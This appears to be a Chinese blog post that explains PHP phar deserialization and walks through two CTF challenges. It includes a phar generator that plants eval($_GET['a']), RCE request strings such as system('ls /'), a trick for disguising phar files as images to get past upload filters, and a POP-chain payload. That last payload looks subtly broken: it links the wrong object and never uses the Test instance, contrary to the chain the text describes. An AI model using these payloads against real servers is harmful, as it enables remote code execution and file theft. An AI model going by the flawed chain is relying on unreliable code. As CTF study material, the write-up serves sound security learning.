之前学反序列化的时候没有仔细看 只简单做了下题 有时间了回头再写一下

phar反序列化

相关知识

Phar 反序列化漏洞是一个 PHP 中的常见安全问题，它通常出现在处理 .phar 文件时。.phar 文件本质上是一种压缩文件，它将多个文件封装成一个文件，并允许对其中的内容进行读取和写入。在 phar 文件中，用户自定义的 meta-data（元数据）通常是通过 PHP 的序列化机制存储的。

phar是将php文件打包而成的一种压缩文档，类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面，配合phar://协议使用。

对于 PHP 5.3 或更高版本，phar后缀文件时默认开启支持的，可以直接使用

一般使用文件包含中的**phar伪协议进行读取.phar文件**

phar文件结构

  1. Stub（启动文件）

这是phar文件标识，格式为xxx<?php xxx;__HALT_COMPILER();?>（头部信息），这是 PHAR 文件的入口点，当 PHP 解释器加载 PHAR 文件时，会首先执行 Stub 代码

  1. Manifest（元数据）

压缩文件的属性等信息，以序列化方式存储 这就成为了一个潜在的攻击点

当 Phar 文件被加载时，Manifest 部分会被反序列化为 PHP 对象

  1. Contents（内容部分）

压缩文件的内容

实际存储了所有打包进 Phar 文件的文件数据。这个部分是最主要的文件内容部分，通常存储 PHP 代码、文本文件或二进制文件等。

  1. Signature（签名）

签名部分位于 Phar 文件的末尾，通常用于验证文件的完整性和真实性。它确保文件没有被篡改，并且是由一个受信任的源创建的。签名通常使用公钥/私钥加密机制。

image-20250922211942981

phar文件的创建（压缩 ）

1.创建phar对象

1
$phar = new Phar('test2.phar', 0, 'test2.phar');

这行代码通过 new Phar() 创建一个新的 Phar 文件，文件名是 test2.phar。如果文件不存在，它将会创建该文件；如果文件已经存在，它将被覆盖。0 表示没有特殊的创建模式，'test2.phar' 是该 Phar 文件的别名，可以在之后的代码中用来引用该文件。

2.从目录构建 Phar 文件

1
$phar->buildFromDirectory('f:\0Day');

将 f:\0Day 目录中的所有文件打包到 test2.phar 文件中。buildFromDirectory() 方法会递归地将目录中的所有文件添加到 Phar 文件中。

3.设置默认 Stub

1
$phar->setDefaultStub('test.txt', 'test.txt');

这里使用 setDefaultStub() 为 Phar 文件设置默认的入口文件（stub）。'test.txt' 是入口文件的路径，它在创建时会被作为默认的入口文件。第二个 'test.txt' 是该文件在 Phar 内部的路径。

Stub 是 Phar 文件的入口代码，它会在 Phar 文件执行时首先被执行。__HALT_COMPILER() 是一个 PHP 函数，它会停止编译 PHP 代码，使得后续的代码不会被解析。这样，在 Phar 文件中可以包含一些 PHP 代码，而不会立即被执行，直到用户明确调用该文件。

解压缩

1.打开 Phar 文件

1
$phar = new Phar('test.phar');

使用 new Phar('test.phar') 打开名为 test.phar 的 Phar 文件，并将其封装成 Phar 对象。test.phar 文件必须存在，否则会抛出错误。

2.解压到指定目录

1
$phar->extractTo('test');

该方法将 test.phar 文件中的所有内容提取到指定的目录 'test' 中。如果该目录不存在，PHP 会尝试创建该目录。如果已经存在，内容将被解压到该目录下。

创建一个包含恶意代码的 Phar 文件模板

1
2
3
4
5
6
7
8
9
10
11
12
@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$o=new Testobj();
$o->output='eval($_GET["a"]);';

$phar->setMetadata($o);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

下面是解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 删除之前的test.par文件(如果有)
@unlink('test.phar');
# 创建一个phar对象，文件名必须以 .phar 为后缀
$phar=new Phar('test.phar');
# 开始写文件
# 调用startBuffering()这个函数意味着后续的写入操作不会立即将数据写入文件，而是先存储在缓冲区中，直到调用stopBuffering()方法
$phar->startBuffering();
# 写入stub（是 Phar 文件的入口点，当 Phar 文件被执行时，首先会执行 stub 中的代码）
# 括号中的代码是默认的，是一个特殊的 PHP 指令，用于停止 PHP 代码的编译，后面的数据会被当作二进制数据处理
$phar->setStub('<?php __HALT_COMPILER(); ?>');

# 要写入文件中的部分
# 创建一个 Testobj 类的对象 $o
$o=new Testobj();
# 设置output属性的内容
$o->output='eval($_GET["a"]);';

# 调用 setMetadata 方法，将 $o 对象作为元数据写入 Phar 文件中（写入meta-data）
$phar->setMetadata($o);
# 将字符串 "test" 作为文件内容，以 test.txt 为文件名添加到 Phar 压缩包中
$phar->addFromString("test.txt","test");
# 停止写入文件
# 调用 stopBuffering 方法，停止缓冲，并将缓冲区中的数据写入到 test.phar 文件中
$phar->stopBuffering();
?>

漏洞原理

  1. Phar 伪协议：PHP 支持通过 phar 伪协议来读取 .phar 文件。
  2. 反序列化触发：当使用 phar 伪协议解析 .phar 文件时，PHP 会自动触发对 manifest 字段中序列化字符串的反序列化操作。这就意味着，如果 manifest 里的序列化数据是恶意构造的，就可能触发反序列化漏洞，进而执行恶意代码。

触发条件

PHP 版本需要大于等于 5.2。

在 PHP 的配置文件 php.ini 中，要将 phar.readonly 选项设置为 Off。因为默认情况下 phar.readonly 是开启的（即设为 On），这会限制对 Phar 文件的写入等操作，若不关闭该选项，很多利用操作无法进行。

image-20250923085950426

表格中列出了可以使用 phar 伪协议读取 .phar 文件的函数，当这些函数处理带有恶意 phar 伪协议的路径时，就可能触发 Phar 反序列化漏洞。

比如：

file_exists：用于检查文件或目录是否存在，若传入的路径是 phar:// 开头指向恶意 Phar 文件，就可能触发漏洞。

file_get_contents：用于读取文件内容，同样，若读取的是恶意 Phar 文件，会触发对 manifest 中序列化数据的反序列化。

其他如 fopen（打开文件）、copy（复制文件）、stat（获取文件状态）等函数，在操作带有 phar 伪协议的文件时，也都可能引发该漏洞。

来看一些代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
    var $output="echo 'ok';";
    function __destruct()
    {
        eval($this->output);
    }
}
if(isset($_GET['filename']))
{
    $filename=$_GET['filename'];
    var_dump(file_exists($filename));
}
?>

定义了Testobj类，包含$output属性（默认值为echo 'ok';）和__destruct()魔术方法

__destruct()方法会在对象销毁时调用eval()执行$output中的代码

接收 GET 参数filename，并通过file_exists()检查该文件是否存在

看到这个file_exists

file_exists($filename)函数的参数$filename完全由用户控制，且该函数支持phar://伪协议

当file_exists()通过phar://伪协议访问 Phar 文件时，会自动反序列化 Phar 文件中存储的对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
highlight_file(__FILE__);
class Testobj
{
    var $output='';
}

# 删除之前的test.par文件(如果有)
@unlink('test.phar');
# 创建一个phar对象，文件名必须以 .phar 为后缀
$phar=new Phar('test.phar');
# 开始写文件
# 调用startBuffering()这个函数意味着后续的写入操作不会立即将数据写入文件，而是先存储在缓冲区中，直到调用stopBuffering()方法
$phar->startBuffering();
# 写入stub（是 Phar 文件的入口点，当 Phar 文件被执行时，首先会执行 stub 中的代码）
# 括号中的代码是默认的，是一个特殊的 PHP 指令，用于停止 PHP 代码的编译，后面的数据会被当作二进制数据处理
$phar->setStub('<?php __HALT_COMPILER(); ?>');# 创建一个 Testobj 类的对象 $o
$o=new Testobj();# 设置output属性的内容
$o->output='eval($_GET["a"]);';# 调用 setMetadata 方法，将 $o 对象作为元数据写入 Phar 文件中（写入meta-data）
$phar->setMetadata($o);# 将字符串 "test" 作为文件内容，以 test.txt 为文件名添加到 Phar 压缩包中
$phar->addFromString("test.txt","test");# 停止写入文件# 调用 stopBuffering 方法，停止缓冲，并将缓冲区中的数据写入到 test.phar 文件中
$phar->stopBuffering();
?>

image-20250923103507567

记得改一下配置文件

我这里是7版本

image-20250923103554891

image-20250923103858774

image-20250923104019297

根据文件是否存在返回一个布尔值

因为这里使用的是file_exists函数，是可以使用phar://伪协议的，但是可以使用phar伪协议并不代表一定存在phar反序列化漏洞，还要看能否触发魔术方法进而可以执行一些操作，在这里就是要触发__destruct()这个魔术方法进而可以执行命令，所以存在漏洞

image-20250923104509807

发现这个文件已经存在了

最后就可以利用phar伪协议读取这个文件，会自动将序列化部分的数据进行反序列化，然后就会自动触发__destruct()魔术方法，从而可以执行eval($_GET["a"]);，也就是可以进行GET传参一个a进行RCE

image-20250923104745670

成功利用

漏洞利用条件

  • phar文件可以上传到服务器端
  • 要有可用反序列化魔术方法作为跳板（就是可以通过触发魔术方法__destruct()或__wakeup()进行RCE之类的操作）
  • 要有文件操作函数，如：file_exists()，fopen()，file_get_contents()
  • 文件操作函数的参数可控
  • 要使用的伪协议phar://中的字符和关键字没有被过滤

小技巧

使用phar://伪协议读取文件是不看后缀的

如果服务器对上传的文件有限制，只能上传一些png、jpg、gif等图片文件，我们可以把phar文件修改成其他的任何一个格式的文件，并且不会受到影响

如下，使用mv命令将test.phar文件修改成test.png文件，改变其后缀名

然后使用phar伪协议读取test.png文件仍然是可以执行命令的

1
?filename=phar://test.png&a=system('ls');

所以后缀名是没有影响的，只要可以上传到服务器就行

Phar反序列化例题

[HNCTF 2022 WEEK3]ez_phar

image-20250923114239528

扫目录发现上传接口

这里有上传后缀的限制

image-20250923153944091

写好exp 放phpstudy里访问一下让他生成phar文件

image-20250923154033286

image-20250923154109302

这的上传只能图片 所以我们抓包修改一下后缀

image-20250923154150212

image-20250923154158255

image-20250923154432976

1
http://node5.anna.nssctf.cn:29141/?filename=phar://upload/test.jpg&a=system('ls /');

通过phar伪协议访问

成功看到flag位置位于ffflllaaaggg

1
?filename=phar://upload/test.jpg&a=system('cat /ffflllaaaggg');

image-20250923154556744

[SWPU 2018]SimplePHP

很经典的一道题目

image-20250923155802808

image-20250923160453934

image-20250923160846913

image-20250923160941231

访问这个可以看到file.php的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//file.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

我这里自己写的时候不理解为什么要试?file=file.php

导航栏中明确有 <a href="file.php?file=">查看文件</a>，这直接告诉我们：

负责文件查看的后端页面是 file.php；

该页面通过file参数接收 “要查看的文件路径”（?file=是空参数的默认状态）。

核心结论：

要查看任意文件，需构造 file.php?file=目标文件路径 的 URL

image-20250923161804765

源代码里的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
//class.php
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//base.php
<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
//upload_file.php
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

一共就这几个文件

重点在class.php

从后往前看这个链子

首先看test类

我们最终要执行的是

image-20250925210150947

那么现在问题就是这个value怎么替换成我们想要的f1ag.php

往上看

image-20250925210303135

让test类里面的get函数会返回file_get 属性params不为空 且值要为f1ag.php

__get()方法在 读取不可访问(protected 或 private)或不存在的属性的值时被调用

我们想要触发上面的过程

要满足以下两个条件

1.访问test类里不存在的属性（触发_get方法）

2.传入的key要匹配params数组中

就是$key = “source”（因为$params[‘source’] = “f1ag.php”）

那么谁会去访问到test里面不存在的属性

这时候我们的思路就是去寻找“访问对象属性”的代码（如$obj->xxx）

在本题中，Show类的__toString()方法里有$this->str['str']->source—— 这里的->source就是在访问某个对象的source属性。

这个时候我们进行一个假设 ：

如果这是test类的实例 那么-source就是去访问这个类的source 由于test类没有source 所以就会触发_get 正好符合第一步的需求

这个source是在_tostring里面的

__toString()的触发条件是 “对象被当作字符串处理”（如echo、字符串拼接等）

所以我们这一步要找的就是：

哪些地方会进行字符串化操作（如echo $obj、$obj . "str"等）

1
2
3
4
5
$show = new Show();
echo $show;                  // 直接echo实例
$str = "test: " . $show;     // 字符串拼接
var_dump("content: $show");  // 字符串插值
//这几种情况都能触发

C1e4r类的__destruct()方法里有echo $this->test 如果$this->test是Show类的实例，echo操作就会触发Show::__toString()。

destruct在对象被销毁（反序列化结束之后）触发

所以只要C1e4r类的实例被反序列化，就会触发其__destruct()。

最后我们进行一下正向验证 看环节能不能衔接

  1. 反序列化C1e4r对象 → 触发__destruct() → 执行echo $this->test（$this->test是Show对象）。
  2. echo Show对象 → 触发Show::__toString() → 执行$this->str['str']->source（$this->str['str']是Test对象）。
  3. 访问Test->source（不存在） → 触发Test::__get('source') → 从$this->params['source']拿到f1ag.php，调用file_get()。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//class.php
<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
   
    }

class Test
{
    public $file;
    public $params;
   
}

$a=new C1e4r;
$b=new Show;
$c=new Test;

$c->params=['source'=>'/var/www/html/f1ag.php'];
$b->str['str']=$a;
$a->str=$b;


@unlink('test.phar');
$phar=new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($a);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();


?>

抓包修改后缀上传 然后查看路径

image-20250926114900097

image-20250926115544437

phar访问就可以了

这个题难的在于代码有点多 链子的构造比phar难我觉得

image-20250926115711599

解码